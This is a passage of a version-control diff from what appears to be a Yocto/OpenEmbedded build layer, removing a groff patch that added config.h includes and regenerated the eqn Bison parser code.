-ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
-ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
diff --git a/meta/recipes-extended/groff/files/0001-Include-config.h.patch b/meta/recipes-extended/groff/files/0001-Include-config.h.patch
deleted file mode 100644
index 348a61d9df..0000000000
--- a/meta/recipes-extended/groff/files/0001-Include-config.h.patch
+++ /dev/null
@@ -1,1228 +0,0 @@
-From 6cfa9f8126c1d6ec26f120d273e714fb19108873 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 4 Aug 2019 16:32:41 -0700
-Subject: [PATCH] Include config.h
-
-This helps avoid the include conflicts where <stdlib.h> is including
-<math.h> and since -I./lib is used and a local math.h wrapper is
-residing in there, the build breaks since stdlib.h really wants the
-standard system math.h to be included, this ensures that right macros
-are predefined and included before stdlib.h is included
-
-fixes
-In file included from src/libs/libgroff/assert.cpp:20:
-In file included from TOPDIR/build/tmp/work/aarch64-yoe-linux-musl/groff/1.22.4-r0/recipe-sysroot/usr/include/c++/v1/stdlib.h:100:
-./lib/math.h:38:3: error: "Please include config.h first."
- #error "Please include config.h first."
- ^
-./lib/math.h:40:1: error: unknown type name '_GL_INLINE_HEADER_BEGIN'
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/libs/libgroff/assert.cpp | 4 +
- src/libs/libgroff/curtime.cpp | 4 +
- src/libs/libgroff/device.cpp | 4 +
- src/libs/libgroff/error.cpp | 4 +
- src/libs/libgroff/fatal.cpp | 4 +
- src/libs/libgroff/string.cpp | 4 +
- src/libs/libgroff/strsave.cpp | 4 +
- src/preproc/eqn/eqn.cpp | 450 ++++++++++++++++++----------------
- src/preproc/eqn/eqn.hpp | 12 +-
- src/preproc/eqn/eqn.ypp | 4 +
- src/preproc/eqn/other.cpp | 4 +
- src/preproc/eqn/text.cpp | 4 +
- src/preproc/pic/object.cpp | 4 +
- 13 files changed, 285 insertions(+), 221 deletions(-)
-
-diff --git a/src/libs/libgroff/assert.cpp b/src/libs/libgroff/assert.cpp
-index aceed05..97780d6 100644
---- a/src/libs/libgroff/assert.cpp
-+++ b/src/libs/libgroff/assert.cpp
-@@ -16,6 +16,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdio.h>
- #include <stdlib.h>
- #include "assert.h"
-diff --git a/src/libs/libgroff/curtime.cpp b/src/libs/libgroff/curtime.cpp
-index 72fe067..9ddba08 100644
---- a/src/libs/libgroff/curtime.cpp
-+++ b/src/libs/libgroff/curtime.cpp
-@@ -15,6 +15,10 @@ for more details.
- The GNU General Public License version 2 (GPL2) is available in the
- internet at <http://www.gnu.org/licenses/gpl-2.0.txt>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <errno.h>
- #include <limits.h>
- #include <stdlib.h>
-diff --git a/src/libs/libgroff/device.cpp b/src/libs/libgroff/device.cpp
-index 0d28b85..c211f85 100644
---- a/src/libs/libgroff/device.cpp
-+++ b/src/libs/libgroff/device.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
- #include "device.h"
- #include "defs.h"
-diff --git a/src/libs/libgroff/error.cpp b/src/libs/libgroff/error.cpp
-index 9a18803..7b63d3d 100644
---- a/src/libs/libgroff/error.cpp
-+++ b/src/libs/libgroff/error.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-diff --git a/src/libs/libgroff/fatal.cpp b/src/libs/libgroff/fatal.cpp
-index c0dcb35..fd6003e 100644
---- a/src/libs/libgroff/fatal.cpp
-+++ b/src/libs/libgroff/fatal.cpp
-@@ -16,6 +16,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
-
- #define FATAL_ERROR_EXIT_CODE 3
-diff --git a/src/libs/libgroff/string.cpp b/src/libs/libgroff/string.cpp
-index 46c015c..449f3a6 100644
---- a/src/libs/libgroff/string.cpp
-+++ b/src/libs/libgroff/string.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
-
- #include "lib.h"
-diff --git a/src/libs/libgroff/strsave.cpp b/src/libs/libgroff/strsave.cpp
-index f95c05e..d875045 100644
---- a/src/libs/libgroff/strsave.cpp
-+++ b/src/libs/libgroff/strsave.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <string.h>
- #include <stdlib.h>
-
-diff --git a/src/preproc/eqn/eqn.cpp b/src/preproc/eqn/eqn.cpp
-index 4ede465..fdd9484 100644
---- a/src/preproc/eqn/eqn.cpp
-+++ b/src/preproc/eqn/eqn.cpp
-@@ -1,8 +1,9 @@
--/* A Bison parser, made by GNU Bison 3.2. */
-+/* A Bison parser, made by GNU Bison 3.4.1. */
-
- /* Bison implementation for Yacc-like parsers in C
-
-- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc.
-+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation,
-+ Inc.
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
-@@ -47,7 +48,7 @@
- #define YYBISON 1
-
- /* Bison version. */
--#define YYBISON_VERSION "3.2"
-+#define YYBISON_VERSION "3.4.1"
-
- /* Skeleton name. */
- #define YYSKELETON_NAME "yacc.c"
-@@ -65,7 +66,11 @@
-
-
- /* First part of user prologue. */
--#line 18 "../src/preproc/eqn/eqn.ypp" /* yacc.c:338 */
-+#line 18 "src/preproc/eqn/eqn.ypp"
-+
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-
- #include <stdio.h>
- #include <string.h>
-@@ -77,7 +82,8 @@ extern int non_empty_flag;
- int yylex();
- void yyerror(const char *);
-
--#line 81 "src/preproc/eqn/eqn.cpp" /* yacc.c:338 */
-+#line 86 "src/preproc/eqn/eqn.cpp"
-+
- # ifndef YY_NULLPTR
- # if defined __cplusplus
- # if 201103L <= __cplusplus
-@@ -98,8 +104,8 @@ void yyerror(const char *);
- # define YYERROR_VERBOSE 0
- #endif
-
--/* In a future release of Bison, this section will be replaced
-- by #include "y.tab.h". */
-+/* Use api.header.include to #include this header
-+ instead of duplicating it here. */
- #ifndef YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED
- # define YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED
- /* Debug traces. */
-@@ -237,10 +243,9 @@ extern int yydebug;
-
- /* Value type. */
- #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
--
- union YYSTYPE
- {
--#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:353 */
-+#line 34 "src/preproc/eqn/eqn.ypp"
-
- char *str;
- box *b;
-@@ -249,9 +254,9 @@ union YYSTYPE
- int n;
- column *col;
-
--#line 253 "src/preproc/eqn/eqn.cpp" /* yacc.c:353 */
--};
-+#line 258 "src/preproc/eqn/eqn.cpp"
-
-+};
- typedef union YYSTYPE YYSTYPE;
- # define YYSTYPE_IS_TRIVIAL 1
- # define YYSTYPE_IS_DECLARED 1
-@@ -366,6 +371,8 @@ typedef short yytype_int16;
- #endif
-
-
-+#define YY_ASSERT(E) ((void) (0 && (E)))
-+
- #if ! defined yyoverflow || YYERROR_VERBOSE
-
- /* The parser invokes alloca or malloc; define the necessary symbols. */
-@@ -508,16 +515,16 @@ union yyalloc
- /* YYNSTATES -- Number of states. */
- #define YYNSTATES 142
-
--/* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned
-- by yylex, with out-of-bounds checking. */
- #define YYUNDEFTOK 2
- #define YYMAXUTOK 315
-
-+/* YYTRANSLATE(TOKEN-NUM) -- Symbol number corresponding to TOKEN-NUM
-+ as returned by yylex, with out-of-bounds checking. */
- #define YYTRANSLATE(YYX) \
- ((unsigned) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK)
-
- /* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM
-- as returned by yylex, without out-of-bounds checking. */
-+ as returned by yylex. */
- static const yytype_uint8 yytranslate[] =
- {
- 0, 2, 2, 2, 2, 2, 2, 2, 2, 63,
-@@ -558,14 +565,14 @@ static const yytype_uint8 yytranslate[] =
- /* YYRLINE[YYN] -- Source line where rule number YYN was defined. */
- static const yytype_uint16 yyrline[] =
- {
-- 0, 121, 121, 123, 128, 130, 141, 143, 145, 150,
-- 152, 154, 156, 158, 163, 165, 167, 169, 174, 176,
-- 181, 183, 185, 190, 192, 194, 196, 198, 200, 202,
-- 204, 206, 208, 210, 212, 214, 216, 218, 220, 222,
-- 224, 226, 228, 230, 232, 234, 236, 238, 240, 242,
-- 244, 246, 248, 250, 252, 254, 259, 269, 271, 276,
-- 278, 283, 285, 290, 292, 297, 299, 304, 306, 308,
-- 310, 314, 316, 321, 323, 325
-+ 0, 125, 125, 127, 132, 134, 145, 147, 149, 154,
-+ 156, 158, 160, 162, 167, 169, 171, 173, 178, 180,
-+ 185, 187, 189, 194, 196, 198, 200, 202, 204, 206,
-+ 208, 210, 212, 214, 216, 218, 220, 222, 224, 226,
-+ 228, 230, 232, 234, 236, 238, 240, 242, 244, 246,
-+ 248, 250, 252, 254, 256, 258, 263, 273, 275, 280,
-+ 282, 287, 289, 294, 296, 301, 303, 308, 310, 312,
-+ 314, 318, 320, 325, 327, 329
- };
- #endif
-
-@@ -818,22 +825,22 @@ static const yytype_uint8 yyr2[] =
-
- #define YYRECOVERING() (!!yyerrstatus)
-
--#define YYBACKUP(Token, Value) \
--do \
-- if (yychar == YYEMPTY) \
-- { \
-- yychar = (Token); \
-- yylval = (Value); \
-- YYPOPSTACK (yylen); \
-- yystate = *yyssp; \
-- goto yybackup; \
-- } \
-- else \
-- { \
-- yyerror (YY_("syntax error: cannot back up")); \
-- YYERROR; \
-- } \
--while (0)
-+#define YYBACKUP(Token, Value) \
-+ do \
-+ if (yychar == YYEMPTY) \
-+ { \
-+ yychar = (Token); \
-+ yylval = (Value); \
-+ YYPOPSTACK (yylen); \
-+ yystate = *yyssp; \
-+ goto yybackup; \
-+ } \
-+ else \
-+ { \
-+ yyerror (YY_("syntax error: cannot back up")); \
-+ YYERROR; \
-+ } \
-+ while (0)
-
- /* Error token number */
- #define YYTERROR 1
-@@ -948,7 +955,7 @@ yy_reduce_print (yytype_int16 *yyssp, YYSTYPE *yyvsp, int yyrule)
- YYFPRINTF (stderr, " $%d = ", yyi + 1);
- yy_symbol_print (stderr,
- yystos[yyssp[yyi + 1 - yynrhs]],
-- &(yyvsp[(yyi + 1) - (yynrhs)])
-+ &yyvsp[(yyi + 1) - (yynrhs)]
- );
- YYFPRINTF (stderr, "\n");
- }
-@@ -1052,7 +1059,10 @@ yytnamerr (char *yyres, const char *yystr)
- case '\\':
- if (*++yyp != '\\')
- goto do_not_strip_quotes;
-- /* Fall through. */
-+ else
-+ goto append;
-+
-+ append:
- default:
- if (yyres)
- yyres[yyn] = *yyp;
-@@ -1148,10 +1158,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
- yyarg[yycount++] = yytname[yyx];
- {
- YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]);
-- if (! (yysize <= yysize1
-- && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
-+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)
-+ yysize = yysize1;
-+ else
- return 2;
-- yysize = yysize1;
- }
- }
- }
-@@ -1175,9 +1185,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
-
- {
- YYSIZE_T yysize1 = yysize + yystrlen (yyformat);
-- if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
-+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)
-+ yysize = yysize1;
-+ else
- return 2;
-- yysize = yysize1;
- }
-
- if (*yymsg_alloc < yysize)
-@@ -1303,23 +1314,33 @@ yyparse (void)
- yychar = YYEMPTY; /* Cause a token to be read. */
- goto yysetstate;
-
-+
- /*------------------------------------------------------------.
--| yynewstate -- Push a new state, which is found in yystate. |
-+| yynewstate -- push a new state, which is found in yystate. |
- `------------------------------------------------------------*/
-- yynewstate:
-+yynewstate:
- /* In all cases, when you get here, the value and location stacks
- have just been pushed. So pushing a state here evens the stacks. */
- yyssp++;
-
-- yysetstate:
-+
-+/*--------------------------------------------------------------------.
-+| yynewstate -- set current state (the top of the stack) to yystate. |
-+`--------------------------------------------------------------------*/
-+yysetstate:
-+ YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-+ YY_ASSERT (0 <= yystate && yystate < YYNSTATES);
- *yyssp = (yytype_int16) yystate;
-
- if (yyss + yystacksize - 1 <= yyssp)
-+#if !defined yyoverflow && !defined YYSTACK_RELOCATE
-+ goto yyexhaustedlab;
-+#else
- {
- /* Get the current used size of the three stacks, in elements. */
- YYSIZE_T yysize = (YYSIZE_T) (yyssp - yyss + 1);
-
--#ifdef yyoverflow
-+# if defined yyoverflow
- {
- /* Give user a chance to reallocate the stack. Use copies of
- these so that the &'s don't force the real ones into
-@@ -1338,10 +1359,7 @@ yyparse (void)
- yyss = yyss1;
- yyvs = yyvs1;
- }
--#else /* no yyoverflow */
--# ifndef YYSTACK_RELOCATE
-- goto yyexhaustedlab;
--# else
-+# else /* defined YYSTACK_RELOCATE */
- /* Extend the stack our own way. */
- if (YYMAXDEPTH <= yystacksize)
- goto yyexhaustedlab;
-@@ -1357,12 +1375,11 @@ yyparse (void)
- goto yyexhaustedlab;
- YYSTACK_RELOCATE (yyss_alloc, yyss);
- YYSTACK_RELOCATE (yyvs_alloc, yyvs);
--# undef YYSTACK_RELOCATE
-+# undef YYSTACK_RELOCATE
- if (yyss1 != yyssa)
- YYSTACK_FREE (yyss1);
- }
- # endif
--#endif /* no yyoverflow */
-
- yyssp = yyss + yysize - 1;
- yyvsp = yyvs + yysize - 1;
-@@ -1373,19 +1390,18 @@ yyparse (void)
- if (yyss + yystacksize - 1 <= yyssp)
- YYABORT;
- }
--
-- YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-+#endif /* !defined yyoverflow && !defined YYSTACK_RELOCATE */
-
- if (yystate == YYFINAL)
- YYACCEPT;
-
- goto yybackup;
-
-+
- /*-----------.
- | yybackup. |
- `-----------*/
- yybackup:
--
- /* Do appropriate processing given the current state. Read a
- lookahead token if we need one and don't already have one. */
-
-@@ -1443,7 +1459,6 @@ yybackup:
- YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
- *++yyvsp = yylval;
- YY_IGNORE_MAYBE_UNINITIALIZED_END
--
- goto yynewstate;
-
-
-@@ -1458,7 +1473,7 @@ yydefault:
-
-
- /*-----------------------------.
--| yyreduce -- Do a reduction. |
-+| yyreduce -- do a reduction. |
- `-----------------------------*/
- yyreduce:
- /* yyn is the number of a rule to reduce with. */
-@@ -1478,20 +1493,20 @@ yyreduce:
- YY_REDUCE_PRINT (yyn);
- switch (yyn)
- {
-- case 3:
--#line 124 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+ case 3:
-+#line 128 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].b)->top_level(); non_empty_flag = 1; }
--#line 1485 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1500 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 4:
--#line 129 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 133 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1491 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1506 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 5:
--#line 131 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 135 "src/preproc/eqn/eqn.ypp"
- {
- list_box *lb = (yyvsp[-1].b)->to_list_box();
- if (!lb)
-@@ -1499,436 +1514,437 @@ yyreduce:
- lb->append((yyvsp[0].b));
- (yyval.b) = lb;
- }
--#line 1503 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1518 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 6:
--#line 142 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 146 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1509 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1524 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 7:
--#line 144 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 148 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_mark_box((yyvsp[0].b)); }
--#line 1515 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1530 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 8:
--#line 146 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 150 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_lineup_box((yyvsp[0].b)); }
--#line 1521 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1536 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 9:
--#line 151 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 155 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1527 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1542 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 10:
--#line 153 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 157 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-2].b), 0, (yyvsp[0].b)); }
--#line 1533 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1548 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 11:
--#line 155 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 159 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0); }
--#line 1539 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1554 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 12:
--#line 157 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 161 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1545 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1560 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 13:
--#line 159 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 163 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-4].b), make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0), 0); }
--#line 1551 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1566 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 14:
--#line 164 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 168 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1557 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1572 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 15:
--#line 166 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 170 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_sqrt_box((yyvsp[0].b)); }
--#line 1563 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1578 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 16:
--#line 168 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 172 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_over_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1569 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1584 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 17:
--#line 170 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 174 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_small_over_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1575 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1590 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 18:
--#line 175 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 179 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1581 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1596 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 19:
--#line 177 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 181 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-2].b), 0, (yyvsp[0].b)); }
--#line 1587 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1602 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 20:
--#line 182 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 186 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1593 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1608 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 21:
--#line 184 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 188 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-2].b), (yyvsp[0].b), 0); }
--#line 1599 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1614 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 22:
--#line 186 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 190 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1605 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1620 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 23:
--#line 191 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 195 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = split_text((yyvsp[0].str)); }
--#line 1611 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1626 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 24:
--#line 193 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 197 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new quoted_text_box((yyvsp[0].str)); }
--#line 1617 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1632 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 25:
--#line 195 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 199 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = split_text((yyvsp[0].str)); }
--#line 1623 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1638 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 26:
--#line 197 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 201 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new quoted_text_box((yyvsp[0].str)); }
--#line 1629 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1644 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 27:
--#line 199 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 203 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new half_space_box; }
--#line 1635 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1650 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 28:
--#line 201 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 205 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new space_box; }
--#line 1641 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1656 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 29:
--#line 203 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 207 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new tab_box; }
--#line 1647 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1662 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 30:
--#line 205 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 209 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[-1].b); }
--#line 1653 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1668 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 31:
--#line 207 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 211 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1659 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1674 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 32:
--#line 209 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 213 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(LEFT_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1665 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1680 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 33:
--#line 211 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 215 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(RIGHT_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1671 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1686 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 34:
--#line 213 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 217 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1677 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1692 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 35:
--#line 215 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 219 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[-1].mb); }
--#line 1683 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1698 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 36:
--#line 217 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 221 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_delim_box((yyvsp[-3].str), (yyvsp[-2].b), (yyvsp[0].str)); }
--#line 1689 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1704 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 37:
--#line 219 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 223 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_delim_box((yyvsp[-1].str), (yyvsp[0].b), 0); }
--#line 1695 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1710 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 38:
--#line 221 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 225 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_overline_box((yyvsp[-1].b)); }
--#line 1701 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1716 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 39:
--#line 223 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 227 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_underline_box((yyvsp[-1].b)); }
--#line 1707 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1722 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 40:
--#line 225 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 229 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_prime_box((yyvsp[-1].b)); }
--#line 1713 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
